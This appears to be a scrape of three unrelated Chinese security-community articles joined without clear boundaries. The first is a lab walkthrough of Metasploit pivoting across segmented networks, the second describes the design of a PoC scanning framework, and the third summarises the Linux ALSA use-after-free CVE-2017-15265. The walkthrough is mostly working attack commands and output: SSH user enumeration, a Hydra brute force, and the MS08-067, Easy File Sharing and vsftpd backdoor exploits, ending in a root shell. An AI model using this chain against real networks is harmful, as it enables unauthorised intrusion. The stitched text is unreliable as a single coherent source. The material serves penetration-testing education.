Nmap scan report for 7.7.7.20 Host is up (0.17s latency). PORT     STATE    SERVICE      VERSION 22/tcp   open     ssh          Bitvise WinSSHD 7.16 (FlowSsh 7.15; protocol 2.0) 80/tcp   closed   http         Easy File Sharing Web Server httpd 6.9 135/tcp  open     msrpc        Microsoft Windows RPC 139/tcp  open     netbios-ssn  Microsoft Windows netbios-ssn 445/tcp  open     microsoft-ds Microsoft Windows 2003 or 2008 microsoft-ds Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_server_2003 Host script results: | smb-vuln-ms08-067: |   VULNERABLE: |   Microsoft Windows system vulnerable to remote code execution (MS08-067) |     State: VULNERABLE |     IDs: CVE:CVE-2008-4250 |          The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2, |          Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary |          code via a crafted RPC request that triggers the overflow during path canonicalization. | |     Disclosure date: 2008-10-23 |     References: |       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250 |_      https://technet.microsoft.com/en-us/library/security/ms08-067.aspx Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 12.51 seconds root@kali:~# 根据扫描结果，目标主机上存在SSH和HTTP服务。在进行进一步利用之前，我们将会讲到另外一个技术端口转发. #### 端口转发 端口转发是实现跳板的一项基本步骤。对于内部隔离网络中服务（web服务器等等）来说，直接访问往往是不可行的。这是因为没有配置双向路由。我们知道如何让请求到达目标系统，但由于目标系统并不知道如何访问我们，我们的请求会最终失败. 为此，我们在自己的系统中创建一个至目标网络的路由端口。这个路由的生命周期仅限于路由端口进程的运行期间。 另外需要着重提出的一点是，在Metasploit框架中使用“ **run autoroute** ”命令创建路由规则后，我们还需要通过端口转发或者 **proxychains** 之类的工具才能使kali中的系统工具访问到目标网络。 端口转发可以通过metasploit中的 **portfwd** 后攻击模块来实施 meterpreter > portfwd -h Usage: portfwd [-h] [add | delete | list | flush] [args] OPTIONS:     -L <opt>  Forward: local host to listen on (optional). Remote: local host to connect to.     -R        Indicates a reverse port forward.     -h        Help banner.     -i <opt>  Index of the port forward entry to interact with (see the "list" command).     -l <opt>  Forward: local port to listen on. Reverse: local port to connect to.     -p <opt>  Forward: remote port to connect to. Reverse: remote port to listen on.     -r <opt>  Forward: remote host to connect to. meterpreter > 当我们使用自己的浏览器访问本地2323端口时，这个连接请求会被转发到IP地址7.7.7.20的80端口。 此前通过nmap和proxychains，我们已经发现7.7.7.20的主机时在TCP 80端口运行了web服务。为了能够访问这个服务，本地系统的2323端口应该被路由至7.7.7.20的80端口. meterpreter > portfwd add -L 172.16.0.20 -l 2323 -p 80 -r 7.7.7.20 [*] Local TCP relay created: 172.16.0.20:2323 <-> 7.7.7.20:80 meterpreter > 激活的转发规则可以通过“portfwd list”命令来查看. meterpreter > portfwd list Active Port Forwards ====================    Index  Local             Remote       Direction    -----  -----             ------       ---------    1      172.16.0.20:2323  7.7.7.20:80  Forward 1 total active port forwards. meterpreter > 识别运行在7.7.7.20主机80端口的应用，发现这是一个 **Eash File Sharing Web Server** #### 通过跳板进行SSH暴力破解 通过跳板进行SSH暴力破解 此前，7.7.7.20主机也被发现存在SSH服务。对这台主机执行一次暴力破解也是非常简单的。 使用“ **ssh_enumusers** ”模块来枚举用户： msf > use auxiliary/scanner/ssh/ssh_enumusers msf auxiliary(ssh_enumusers) > set rhosts 7.7.7.20 rhosts => 7.7.7.20 msf auxiliary(ssh_enumusers) > set rport 22 rport => 22 msf auxiliary(ssh_enumusers) > set user_file /usr/share/wordlists/metasploit/default_users_for_services_unhash.txt user_file => /usr/share/wordlists/metasploit/default_users_for_services_unhash.txt msf auxiliary(ssh_enumusers) > run [*] 7.7.7.20:22 - SSH - Checking for false positives [*] 7.7.7.20:22 - SSH - Starting scan [+] 7.7.7.20:22 - SSH - User 'admin' found [-] 7.7.7.20:22 - SSH - User 'root' not found [-] 7.7.7.20:22 - SSH - User 'Administrator' not found [+] 7.7.7.20:22 - SSH - User 'sysadm' found [-] 7.7.7.20:22 - SSH - User 'tech' not found [-] 7.7.7.20:22 - SSH - User 'operator' not found [+] 7.7.7.20:22 - SSH - User 'guest' found [-] 7.7.7.20:22 - SSH - User 'security' not found [-] 7.7.7.20:22 - SSH - User 'debug' not found [+] 7.7.7.20:22 - SSH - User 'manager' found [-] 7.7.7.20:22 - SSH - User 'service' not found [-] 7.7.7.20:22 - SSH - User '!root' not found [+] 7.7.7.20:22 - SSH - User 'user' found [-] 7.7.7.20:22 - SSH - User 'netman' not found [+] 7.7.7.20:22 - SSH - User 'super' found [-] 7.7.7.20:22 - SSH - User 'diag' not found [+] 7.7.7.20:22 - SSH - User 'Cisco' found [-] 7.7.7.20:22 - SSH - User 'Manager' not found [+] 7.7.7.20:22 - SSH - User 'DTA' found [-] 7.7.7.20:22 - SSH - User 'apc' not found [+] 7.7.7.20:22 - SSH - User 'User' found [-] 7.7.7.20:22 - SSH - User 'Admin' not found [+] 7.7.7.20:22 - SSH - User 'cablecom' found [-] 7.7.7.20:22 - SSH - User 'adm' not found [+] 7.7.7.20:22 - SSH - User 'wradmin' found [-] 7.7.7.20:22 - SSH - User 'netscreen' not found [+] 7.7.7.20:22 - SSH - User 'sa' found [-] 7.7.7.20:22 - SSH - User 'setup' not found [+] 7.7.7.20:22 - SSH - User 'cmaker' found [-] 7.7.7.20:22 - SSH - User 'enable' not found [+] 7.7.7.20:22 - SSH - User 'MICRO' found [-] 7.7.7.20:22 - SSH - User 'login' not found [*] Caught interrupt from the console... [*] Auxiliary module execution completed ^C msf auxiliary(ssh_enumusers) > 除了Metasploit框架中的辅助模块，kali中的系统工具例如Hydra也是可以使用的。通过ProxyChains运行hydra，所有的流量都会通过跳板机导入到目标网络中. root@kali:~# proxychains hydra 7.7.7.20 ssh -s 22 -L /tmp/user.txt -P top100.txt -t 4 ProxyChains-3.1 (http://proxychains.sf.net) Hydra v8.2 (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Hydra (http://www.thc.org/thc-hydra) starting [WARNING] Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abort... [DATA] max 4 tasks per 1 server, overall 64 tasks, 20 login tries (l:2/p:10), ~0 tries per task [DATA] attacking service ssh on port 22 |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK |S-chain|-<>-172.16.0.20:1080-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-7.7.7.20:22-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK <><>-OK <><>-OK <><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK [22][ssh] host: 7.7.7.20   login: admin   password: 123456 |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK <><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK 1 of 1 target successfully completed, 1 valid password found Hydra (http://www.thc.org/thc-hydra) finished root@kali:~# root@kali:~# proxychains ssh [email protected] ProxyChains-3.1 (http://proxychains.sf.net) |D-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK The authenticity of host '7.7.7.20 (7.7.7.20)' can't be established. ECDSA key fingerprint is SHA256:Rcz2KrPF3BTo16Ng1kET91ycbr9c8vOkZcZ6b4VawMQ. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '7.7.7.20' (ECDSA) to the list of known hosts. [email protected]'s password: bvshell:/C/Documents and Settings/All Users$ pwd /C/Documents and Settings/All Users bvshell:/C/Documents and Settings/All Users$ dir 2016-12-24  21:32          <DIR> Application Data 2016-12-25  06:16          <DIR> Desktop 2016-12-24  18:36          <DIR> Documents 2016-12-24  18:37          <DIR> DRM 2016-12-24  21:32          <DIR> Favorites 2016-12-24  18:38          <DIR> Start Menu 2016-12-24  21:32          <DIR> Templates       0 Files                  0 bytes       7 Directories bvshell:/C/Documents and Settings/All Users$ ### 获取第二个跳板 此前的nmap扫描中，我们在7.7.7.0/24网段中发现来两个漏洞，分别是MS08-067和“Easy File Share”应用的BoF漏洞。通过任意漏洞都能够获取目标系统的控制权限。当然，还有SSH登录这个额外的选择 #### MS08-067 with Bind TCP 在metasploit框架中可以使用模块“ **exploit/windows/smb/ms08_067_netapi** ”来实施MS08-067利用。关键点在于载荷类型的选择是TCP绑定类型。由于没有定义双向路由规则，目标系统不能直接访问攻击者。因此，需要选择TCP绑定类型在目标系统中创建一个特定的监听端口等待攻击者连接。漏洞成功利用后，将会自动向目标系统的监听端口发起建立连接操作。 TCP反弹和TCP绑定的区别如下图所示： 配置TCP绑定方式的MS08-067漏洞利用模块，并获取目标系统权限： msf > use exploit/windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > show options Module options (exploit/windows/smb/ms08_067_netapi):    Name     Current Setting  Required  Description    ----     ---------------  --------  -----------    RHOST                     yes       The target address    RPORT    445              yes       The SMB service port    SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC) Exploit target:    Id  Name    --  ----    0   Automatic Targeting msf exploit(ms08_067_netapi) > set rhost 7.7.7.20 rhost => 7.7.7.20 msf exploit(ms08_067_netapi) > set payload windows/meterpreter/bind_tcp payload => windows/meterpreter/bind_tcp msf exploit(ms08_067_netapi) > show options Module options (exploit/windows/smb/ms08_067_netapi):    Name     Current Setting  Required  Description    ----     ---------------  --------  -----------    RHOST    7.7.7.20         yes       The target address    RPORT    445              yes       The SMB service port    SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC) Payload options (windows/meterpreter/bind_tcp):    Name      Current Setting  Required  Description    ----      ---------------  --------  -----------    EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)    LPORT     4444             yes       The listen port    RHOST     7.7.7.20         no        The target address Exploit target:    Id  Name    --  ----    0   Automatic Targeting msf exploit(ms08_067_netapi) > run [*] Started bind handler [*] 7.7.7.20:445 - Automatically detecting the target... [*] 7.7.7.20:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown [*] 7.7.7.20:445 - We could not detect the language pack, defaulting to English [*] 7.7.7.20:445 - Selected Target: Windows 2003 SP2 English (NX) [*] 7.7.7.20:445 - Attempting to trigger the vulnerability... [*] Sending stage (957999 bytes) to 7.7.7.20 [*] Meterpreter session 2 opened (172.16.0.20-172.16.0.11:0 -> 7.7.7.20:4444) meterpreter > #### Easy File Share BoF 另外一个漏洞是Easy File Share应用。通过以下步骤配置漏洞利用模块为TCP绑定方式，并获取系统权限。 msf  > use exploit/windows/http/easyfilesharing_seh msf exploit(easyfilesharing_seh) > show options Module options (exploit/windows/http/easyfilesharing_seh):    Name   Current Setting  Required  Description    ----   ---------------  --------  -----------    RHOST                   yes       The target address    RPORT  80               yes       The target port Exploit target:    Id  Name    --  ----    0   Easy File Sharing 7.2 HTTP msf exploit(easyfilesharing_seh) > set rhost 7.7.7.20 rhost => 7.7.7.20 msf exploit(easyfilesharing_seh) > set payload windows/meterpreter/bind_tcp payload => windows/meterpreter/bind_tcp msf exploit(easyfilesharing_seh) > run [*] Started bind handler [*] 7.7.7.20:80 - 7.7.7.20:80 - Sending exploit... [+] 7.7.7.20:80 - Exploit Sent [*] Sending stage (957999 bytes) to 7.7.7.20 [*] Meterpreter session 2 opened (172.16.0.20-172.16.0.11:0 -> 7.7.7.20:4444) at 2016-12-26 14:21:11 +0300 meterpreter > ipconfig Interface  1 ============ Name         : MS TCP Loopback interface Hardware MAC : 00:00:00:00:00:00 MTU          : 1520 IPv4 Address : 127.0.0.1 Interface 65539 ============ Name         : Intel(R) PRO/1000 MT Desktop Adapter Hardware MAC : 08:00:27:29:cd:cb MTU          : 1500 IPv4 Address : 8.8.8.3 IPv4 Netmask : 255.255.255.0 Interface 65540 ============ Name         : Intel(R) PRO/1000 MT Desktop Adapter #2 Hardware MAC : 08:00:27:e3:47:43 MTU          : 1500 IPv4 Address : 7.7.7.20 IPv4 Netmask : 255.255.255.0 meterpreter > 完成以后，攻击者来到来如下位置： 由于我们获取了7.7.7.20主机的控制权限。我们需要再次进行信息搜集。JC主机和RD一样也拥有双网卡。这意味着我们又发现了一个新的内网（8.8.8.0/24）。 meterpreter > ipconfig Interface  1 ============ Name         : MS TCP Loopback interface Hardware MAC : 00:00:00:00:00:00 MTU          : 1520 IPv4 Address : 127.0.0.1 Interface 65539 ============ Name         : Intel(R) PRO/1000 MT Desktop Adapter Hardware MAC : 08:00:27:29:cd:cb MTU          : 1500 IPv4 Address : 8.8.8.3 IPv4 Netmask : 255.255.255.0 Interface 65540 ============ Name         : Intel(R) PRO/1000 MT Desktop Adapter #2 Hardware MAC : 08:00:27:e3:47:43 MTU          : 1500 IPv4 Address : 7.7.7.20 IPv4 Netmask : 255.255.255.0 让我们继续通过arp scanner在第二个内网进行信息搜集。 meterpreter > run post/windows/gather/arp_scanner RHOSTS=8.8.8.0/24 [*] Running module against SRV03 [*] ARP Scanning 8.8.8.0/24 [*]   IP: 8.8.8.3 MAC 08:00:27:29:cd:cb (CADMUS COMPUTER SYSTEMS) [*]   IP: 8.8.8.1 MAC 0a:00:27:00:00:03 (UNKNOWN) [*]   IP: 8.8.8.9 MAC 08:00:27:56:f1:7c (CADMUS COMPUTER SYSTEMS) [*]    IP: 8.8.8.13 MAC 08:00:27:13:a3:b1 (CADMUS COMPUTER SYSTEMS) ARP扫描发现这个网段中存在4台机器. meterpreter > run autoroute -s 8.8.8.0/24 [*] Adding a route to 8.8.8.0/255.255.255.0... [+] Added route to 8.8.8.0/255.255.255.0 via 7.7.7.20 [*] Use the -p option to list all active routes msf > route print Active Routing Table ==================== Subnet Netmask Gateway ------ ------- ------- 7.7.7.0 255.255.255.0 Session 1 8.8.8.0 255.255.255.0 Session 3 并且我们继续添加路由规则。这一点在下一章中我们会继续聊。 ### 双重跳板 8.8.8.0/24网段通过JC主机的信息搜集过程被发现了。通过第一台跳板机，我们已经有了一条在172.16.0.0/24和7.7.7.0/24网段之间的路由规则。 目前的情况下，来自172.16.0.20的数据包通过RD主机的转发访问到JC主机。 如果172.16.0.20的攻击者希望访问新发现的8.8.8.0/24网段，一个新的路由规则需要被定义。在metasploit框架外部的工具中，我们需要运行一个新的socks4服务来连接两个跳板并且创建一个新的proxychains配置项。 来自攻击者机器172.16.0.20的数据包将会经过两个不同的端点才能抵达8.8.8.9目标地址。 ​ RD：我不知道怎么到达IP地址8.8.8.9，但是我知道JC知道怎么达到。我会把流量导向它 ​ JC：我知道怎么把来自7.7.7.0/24网段的包转发至8.8.8.0/24网段 最终攻击者控制和发现的系统如下图所示： #### 厉害的Proxychains ProxyChains工具能够连接代理服务器并完成连接转换。目前，一个新的sock4代理服务正监听在本地1081端口并转发至8.8.8.0/24网段. msf exploit(ms08_067_netapi) > use auxiliary/server/socks4a msf auxiliary(socks4a) > show options Module options (auxiliary/server/socks4a):    Name     Current Setting  Required  Description    ----     ---------------  --------  -----------    SRVHOST  172.16.0.20      yes       The address to listen on    SRVPORT  1080             yes       The port to listen on. Auxiliary action:    Name   Description    ----   -----------    Proxy   msf auxiliary(socks4a) > set SRVPORT 1081 SRVPORT => 1081 msf auxiliary(socks4a) > run [*] Auxiliary module execution completed [*] Starting the socks4a proxy server msf auxiliary(socks4a) > 新的代理服务将会在/etc/proxychains.conf配置文件中被添加。通过激活“ **Dynamic Chain** ”设置，多个代理之间的按序转接可以被实现font>. root@kali:~# cat /etc/proxychains.conf | grep -v "#" dynamic_chain proxy_dns tcp_read_time_out 15000 tcp_connect_time_out 8000 socks4  172.16.0.20 1080  # First Pivot socks4  172.16.0.20 1081  # Second Pivot 通过proxychain工具，目标8.8.8.9可以通过第二个跳板途径来进行nmap扫描. root@kali:~# proxychains nmap -sT -sV -p21,22,23,80 8.8.8.9 -n -Pn -vv ProxyChains-3.1 (http://proxychains.sf.net) Starting Nmap 7.25BETA1 ( https://nmap.org ) Nmap wishes you a merry Christmas! Specify -sX for Xmas Scan (https://nmap.org/book/man-port-scanning-techniques.html). NSE: Loaded 36 scripts for scanning. Initiating Connect Scan Scanning 8.8.8.9 [4 ports] |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:21-<><>-OK Discovered open port 21/tcp on 8.8.8.9 |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:23-<><>-OK Discovered open port 23/tcp on 8.8.8.9 |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:22-<><>-OK Discovered open port 22/tcp on 8.8.8.9 |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:80-<><>-OK Discovered open port 80/tcp on 8.8.8.9 Completed Connect Scan at 05:54, 1.37s elapsed (4 total ports) Initiating Service scan at 05:54 Scanning 4 services on 8.8.8.9 |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:21-<><>-OK |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:22-<><>-OK |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:23-<><>-OK |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:80-<><>-OK Completed Service scan at 05:54, 11.09s elapsed (4 services on 1 host) NSE: Script scanning 8.8.8.9. NSE: Starting runlevel 1 (of 2) scan. Initiating NSE at 05:54 |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:80-<><>-OK |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:80-<><>-OK Completed NSE at 05:54, 1.71s elapsed NSE: Starting runlevel 2 (of 2) scan. Initiating NSE at 05:54 Completed NSE at 05:54, 0.00s elapsed Nmap scan report for 8.8.8.9 Host is up, received user-set (0.41s latency). Scanned PORT   STATE SERVICE REASON  VERSION 21/tcp open  ftp     syn-ack vsftpd 2.3.4 22/tcp open  ssh     syn-ack OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) 23/tcp open  telnet  syn-ack Linux telnetd 80/tcp open  http    syn-ack Apache httpd 2.2.8 ((Ubuntu) DAV/2) Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 14.59 seconds root@kali:~# 可以看到，数据包首先通过第一个代理服务，随后经过第二个代理服务，最终到达目的地址。 分析扫描结果发现，8.8.8.9主机上运行的vsftpd服务为一个存在漏洞的版本。 以下步骤完成了metasploit中vsftpd漏洞利用的配置，获取了我们最终目标的权限 msf > msf > use exploit/unix/ftp/vsftpd_234_backdoor msf exploit(vsftpd_234_backdoor) > show options Module options (exploit/unix/ftp/vsftpd_234_backdoor):    Name   Current Setting  Required  Description    ----   ---------------  --------  -----------    RHOST                   yes       The target address    RPORT  21               yes       The target port Exploit target:    Id  Name    --  ----    0   Automatic msf exploit(vsftpd_234_backdoor) > set rhost 8.8.8.9 rhost => 8.8.8.9 msf exploit(vsftpd_234_backdoor) > run [*] 8.8.8.9:21 - Banner: 220 (vsFTPd 2.3.4) [*] 8.8.8.9:21 - USER: 331 Please specify the password. [+] 8.8.8.9:21 - Backdoor service has been spawned, handling... [+] 8.8.8.9:21 - UID: uid=0(root) gid=0(root) [*] Found shell. [*] Command shell session 4 opened (Local Pipe -> Remote Pipe) pwd / id uid=0(root) gid=0(root) ifconfig eth0      Link encap:Ethernet  HWaddr 08:00:27:56:f1:7c             inet addr:8.8.8.9  Bcast:8.8.8.255  Mask:255.255.255.0           inet6 addr: fe80::a00:27ff:fe56:f17c/64 Scope:Link           UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1           RX packets:10843 errors:0 dropped:0 overruns:0 frame:0           TX packets:2779 errors:0 dropped:0 overruns:0 carrier:0           collisions:0 txqueuelen:1000           RX bytes:1081842 (1.0 MB)  TX bytes:661455 (645.9 KB)           Base address:0xd010 Memory:f0000000-f0020000 lo        Link encap:Local Loopback             inet addr:127.0.0.1  Mask:255.0.0.0           inet6 addr: ::1/128 Scope:Host           UP LOOPBACK RUNNING  MTU:16436  Metric:1           RX packets:18161 errors:0 dropped:0 overruns:0 frame:0           TX packets:18161 errors:0 dropped:0 overruns:0 carrier:0           collisions:0 txqueuelen:0           RX bytes:5307479 (5.0 MB)  TX bytes:5307479 (5.0 MB) ### 总结 攻击者通过以下步骤发现了两个不同的内网隔离网段： 1、 攻击者获取了相同网段中RD主机的权限 2、 攻击者发现RD主机拥有两个网络连接 3、 攻击者使用autoroute模块定义了一个路由规则 4、 攻击者在7.7.70/24网段进行了ARP和NMAP扫描并发现了主机JC 5、 主机JC存在“Easy File Share”和MS08-067两个不同漏洞 6、 通过MS08-067的成功利用让攻击者获取了7.7.7.20的权限 7、 通过对JC主机进行信息搜集发现同样拥有两个网络连接 8、 在7.7.7.20上创建了一条新的路由规则 9、 在8.8.8.0/24网段实施ARP和NMAP扫描 10、 IP地址为8.8.8.9的主机SK运行着存在漏洞的vsftpd 搞定收工 ### 在攻击者的系统只拥有第一个内网的访问权限的情况下，可以通过一系列攻击获取另外两个隔离网络的访问控制权限. ### 视频 <https://www.youtube.com/embed/awLMbwj5iP0?feature=oembed> ### 缓解措施 * DMZ区域中包含多块网卡的系统应该被尽快移除 * DMZ区域中的系统只能在DMZ区域中被访问 ## 参考： <http://magikh0e.ihtb.org/pubPapers/ssh_gymnastics_tunneling.html> <https://www.sans.org/reading-room/whitepapers/testing/post-exploitation-metasploit-pivot-port-33909> <https://highon.coffee/blog/ssh-meterpreter-pivoting-techniques/> ~~~
社区文章
## 0x01 写在前面 笔者是个基层的"安全研究员"，poc 编写算是我最基础的日常工作。 每当有新漏洞细节披露后，对于安全领域的工作者来说，通常会经过这样的一个的”漏洞应急声明周期“： `漏洞复现 ---->原理分析 ----> poc 编写 ----> 靶机验证 ----> 大规模目标扫描` poc 完成后，通常有多种使用场景，或是快速刷洞（时间就是money），或是赋能到公司商业化产品（工作价值）。因此要有一套标准化的 poc 框架，否则会浪费很多时间研究同一个 poc 的N种语言实现。 ## 0x02 需求 基于以上分析，笔者认为一款优秀的漏洞验证框架应该具备以下基础功能： 1. 跨平台 2. 可视化 3. 支持高并发 4. 资源（cpu / 内存）占用小 5. 对于框架 poc 维护来说，应该具备： 6. poc 格式标准化，具备统一的 poc 定义规范和解析 SDK 7. 不应该限制只能使用某种特定语言编写 8. poc 构建过程尽可能简单，能不写代码就不写代码 9. poc 易读，最好能可视化。 在经过对多种流行的 poc 框架对比后发现，需要编写 python 脚本来维护 poc 的框架通常摆脱不了 python 自身的性能问题，而且不方便规则可视化，维护困难。长亭的 xray 以及 ywolf 师傅的 kunpeng，使用 yaml / json 定义 poc 是个不错的选择。经过对比发现 xray 的poc 体系更为完善，更能经得起时间的推敲，但无奈 xray 并不开源，即使维护 poc ，也无法给 poc 调用方提供 SDK。 因此，我决定自己实现一个poc框架。主要实现 poc管理、poc 编辑、编写过程中的靶机验证、大规模目标批量检测等等都通过前端配置就能搞定，希望帮助安全研究员们集中精力专注于 poc 的原理分析和逻辑实现，避免浪费大量时间在编写代码上。 由于篇幅的原因，本文内容为分享整个框架的设计思路，具体模块代码实现将于后续逐一分享。 ## 0x02 框架构思 框架主要分为两个主要模块：poc可视化编辑和测试、和大规模目标检测。 具体可以细分为：poc运行、poc 管理、并发引擎、任务管理四大模块。 ### 2-1 poc 运行 是整个框架的核心： * 定义 poc 的规则体系 * 运行 poc：解析 poc 规则，并根据 poc 规则对原始请求变形，然后获取变形后的响应，再检查响应是否匹配规则中定义的表达式 * 支持自定义条件加载并运行特定的 poc ### 2-2 poc 管理 主要提供： * poc 规则的可视化编辑：增、删、改、查 * 配置靶机实时对当前编辑的 poc 规则进行验证 * 关联漏洞描述：方便 poc 维护人员一眼就能看出该 poc 用于检测哪个漏洞 ### 2-3 并发引擎 大规模目标扫描检测的核心。主要提供： * 扫描任务调度 * 并发控制 * 速率控制 * 资源控制：避免无节制的占用主机资源（内存/cpu/带宽） * 日志：记录检测过程中所有里程碑日志、错误日志、网络请求、响应，方便后续的回溯。 ### 2-4 任务管理 * 任务列表（任务状态、任务下发时间、任务完成时间） * 扫描结果展示 ## 0x03 部分技术栈 本节主要分享框架开发过程中用到的技术框架，具体代码实现将于后续文章详细分享。 ### 3-1 开发语言 要支持跨平台，同时追求高效、资源占用小，而且对 xray 使用的 google-cel 表达式兼容性好，毫无疑问使用 go 语言开发。 ### 3-2 高并发 go 语言中有一个比多线程更加好用的并发模型——goroutine。追求极致效率可以使用 [ants](https://github.com/panjf2000/ants) 复用 goroutine，降低不断创建 goroutine 的开销。 ### 3-3 内存复用 面向web的 poc 框架占用的内存资源绝大多数来源于开辟`请求`和`响应`。目前常见的 poc 框架并发都是在`同时运行多少个poc`这个维度上控制的。那么这里就会产生几个问题： * 单纯控制 poc 并发，在每个 poc 内部是面向过程的。在一个 poc 结束之前，这个 poc 所占用的资源不会被立即释放，造成资源浪费。例如： **一个 poc 通常会发多个请求，而且要对每个请求的响应进行解析。每一个请求和响应在使用之后都进行初始化，下一个请求/响应复用这块内存，是不是就降低了内存开销。** * 单纯控制 poc 并发，占用资源的总量是无法预估的，容易造成崩溃。 * 还有， **我们知道，发送一个请求是很快的，而解析该请求的响应所用的开销要多的多。实际上解析响应时，已经不再需要request对象了，这里也会有一个资源浪费。** go 语言中有一个神奇的对象池 `sync.Pool`。神奇的地方在于，一开始这个池子会初始化一些对象供你使用，如果不够了呢，自己会通过new产生一些，当你放回去了之后这些对象会被别人进行复用。 因此，如果我们把使用频率高的对象，如请求、响应、响应的解析等对象，开辟对象池 `sync.Pool`进行管理，可以大大的减少对象的创建和回收的时间，极大的优化内存使用。 ### 3-4 规则存储 xray 使用 yaml 文件定义和保存 poc。但我使用了数据库来存储 yaml。主要有以下几个原因： 1. 支持 poc 内容的快捷搜索 2. poc 和漏洞描述能通过外键关联 3. 可以通过筛选条件加载某一类 poc 4. 可以任意添加poc的字段类型，比如是否启用，创建时间，创建人等等 5. 数据库维护和扫描引擎个分离部署 6. 可以做到热加载 ### 3-5 可视化 基于 go 语言的可视化技术的选型，流行的有以下两种方案： 1. 可视化应用。使用 [Electron](https://electronjs.org/) 或 [nw.js ](https://nwjs.io/) 。其中比较有名的[GoBy](http://gobies.org/)、[蚁剑](https://github.com/AntSwordProject/antSword)。 2. B/S 架构。前端使用 vue / react 等前端框架，web server 使用 gin 框架。 我使用的是B/S架构开发。前后端分离项目可单独部署，也可使用[go-bindata](https://github.com/elazarl/go-bindata-assetfs)打包部署。 ## 0x04总结 本文描述的是我所构思的一款漏洞验证框架，<https://github.com/jweny/pocassist> 想了解具体实现的师傅可以先自行研究下源码，我也会在后续文档逐一分析具体的实现细节。 如果文章内有描述不清或其他问题，烦请各位师傅斧正。
社区文章
# 【技术分享】Linux内核音频子系统UAF内存漏洞（CVE-2017-15265）技术分析 | ##### 译文声明 本文是翻译文章，文章来源：安全客 译文仅供参考，具体内容表达以及含义原文为准。 **** **0x00 事件描述** 2017 年 10 月 11 日，OSS 平台披露了 Linux 内核的 **snd_seq_ioctl_create_port()** 函数存在一处 **UAF(use-after-free)** 的内存漏洞（见[参考 1]），漏洞编号 CVE-2017-15265，漏洞报告者为“Michael23 Yu”，公告中并未给漏洞的影响程度如何。 据悉，该漏洞需要攻击者拥有 **/dev/snd/seq** 目标设备的权限，服务器版 Linux 默认需要 root 或 audio 组权限，实际攻击面窄。 目前有２家 Linux 发行版厂家对 CVE-2017-15265 漏洞进行了安全评估（见[参考 2] 和[参考 3]），具体如下： 暂时未监测到成功利用该漏洞进行攻击的程序出现。 **0x01 事件影响面** **影响面** 经过 360CERT 分析，需要具备能 **ioctl** 访问/dve/snd/seq 的权限（需要 root 或本地登陆系统），实际利用场景较小。 综合判定 CVE-2017-15265 漏洞为 **中危漏洞** ，属于 **一般网络安全事件** 。 **0x02 部分技术信息** 该 UAF 漏洞可通过在对/dve/snd/seq 和 ioctl 调用来操作 port 的创建和删除来触发。具体问题点是内核函数 snd_seq_create_port()会创建一个 port 对象并返回它的指针给用户态的调用者，但在实现中并未对其增加引用计数或其它防护手段，导致该对象可被用户态进程的其它线程发起删除操作。 此后，函数 snd_seq_ioctl_create_port()会调用 snd_seq_system_client_ev_port_start() 函数，并在函数中使用已经被删除的 port 对象，最终导致 UAF 漏洞。攻击者可以通过竞态攻击的手段来对该对象进行占位造成进一步攻击的可能。 PoC 代码主要片断： **** **0x03 处理建议** 建议通过源代码的方式进行补丁更新 <http://mailman.alsa-project.org/pipermail/alsa-devel/2017-October/126292.html> **0x04 时间线** 2017-10-11 事件被披露 2017-10-17 360CERT 完成了基本分析报告 **0x05 参考** 1\. <http://seclists.org/oss-sec/2017/q4/58> 2\. <https://bugzilla.suse.com/show_bug.cgi?id=1062520> 3\. <https://bugzilla.redhat.com/show_bug.cgi?id=1501878> 4\. <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-15265> 5\. <http://www.securityfocus.com/bid/101288/info>
社区文章
